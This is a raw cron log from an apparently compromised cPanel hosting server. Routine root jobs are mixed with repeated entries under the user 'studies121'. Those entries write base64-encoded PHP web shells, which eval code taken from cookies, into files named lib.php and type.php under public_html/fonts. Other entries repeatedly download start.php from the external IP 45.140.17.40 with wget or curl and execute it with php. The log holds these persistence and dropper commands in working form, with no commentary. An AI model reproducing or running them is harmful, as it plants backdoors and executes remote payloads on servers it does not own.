Sep  8 21:31:01 ip-184-168-122-23 CROND[27079]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 21:31:01 ip-184-168-122-23 CROND[27080]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:31:01 ip-184-168-122-23 CROND[27078]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 21:31:01 ip-184-168-122-23 CROND[27081]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:32:01 ip-184-168-122-23 CROND[27181]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 21:32:01 ip-184-168-122-23 CROND[27183]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:32:01 ip-184-168-122-23 CROND[27184]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 21:32:01 ip-184-168-122-23 CROND[27185]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:32:01 ip-184-168-122-23 CROND[27186]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 21:33:01 ip-184-168-122-23 CROND[27388]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:33:01 ip-184-168-122-23 CROND[27389]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:33:01 ip-184-168-122-23 CROND[27390]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 21:33:01 ip-184-168-122-23 CROND[27391]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 21:34:01 ip-184-168-122-23 CROND[27477]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:34:01 ip-184-168-122-23 CROND[27479]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 21:34:01 ip-184-168-122-23 CROND[27481]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 21:34:01 ip-184-168-122-23 CROND[27480]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 21:34:01 ip-184-168-122-23 CROND[27483]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:35:01 ip-184-168-122-23 CROND[27573]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 21:35:01 ip-184-168-122-23 CROND[27580]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 21:35:01 ip-184-168-122-23 CROND[27578]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:35:01 ip-184-168-122-23 CROND[27579]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 21:35:01 ip-184-168-122-23 CROND[27575]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 21:35:01 ip-184-168-122-23 CROND[27577]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:35:01 ip-184-168-122-23 CROND[27576]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  8 21:35:01 ip-184-168-122-23 CROND[27581]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 21:36:01 ip-184-168-122-23 CROND[27676]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 21:36:01 ip-184-168-122-23 CROND[27678]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 21:36:01 ip-184-168-122-23 CROND[27679]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 21:36:01 ip-184-168-122-23 CROND[27680]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:36:01 ip-184-168-122-23 CROND[27681]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:37:01 ip-184-168-122-23 CROND[27786]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 21:37:01 ip-184-168-122-23 CROND[27787]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:37:01 ip-184-168-122-23 CROND[27788]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:37:01 ip-184-168-122-23 CROND[27789]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 21:38:01 ip-184-168-122-23 CROND[28008]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 21:38:01 ip-184-168-122-23 CROND[28009]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:38:01 ip-184-168-122-23 CROND[28012]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:38:01 ip-184-168-122-23 CROND[28010]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 21:38:01 ip-184-168-122-23 CROND[28013]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 21:39:01 ip-184-168-122-23 CROND[28325]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 21:39:01 ip-184-168-122-23 CROND[28330]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  8 21:39:01 ip-184-168-122-23 CROND[28327]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:39:01 ip-184-168-122-23 CROND[28328]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:39:01 ip-184-168-122-23 CROND[28329]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 21:40:01 ip-184-168-122-23 CROND[28420]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 21:40:01 ip-184-168-122-23 CROND[28422]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 21:40:01 ip-184-168-122-23 CROND[28424]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 21:40:01 ip-184-168-122-23 CROND[28428]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 21:40:01 ip-184-168-122-23 CROND[28425]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:40:01 ip-184-168-122-23 CROND[28423]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:40:01 ip-184-168-122-23 CROND[28426]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 21:40:01 ip-184-168-122-23 CROND[28427]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 21:41:01 ip-184-168-122-23 CROND[28536]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:41:01 ip-184-168-122-23 CROND[28535]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 21:41:01 ip-184-168-122-23 CROND[28534]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:41:01 ip-184-168-122-23 CROND[28537]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 21:42:01 ip-184-168-122-23 CROND[28624]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 21:42:01 ip-184-168-122-23 CROND[28626]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 21:42:01 ip-184-168-122-23 CROND[28627]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 21:42:01 ip-184-168-122-23 CROND[28628]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:42:01 ip-184-168-122-23 CROND[28629]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:43:01 ip-184-168-122-23 CROND[28787]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 21:43:01 ip-184-168-122-23 CROND[28791]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
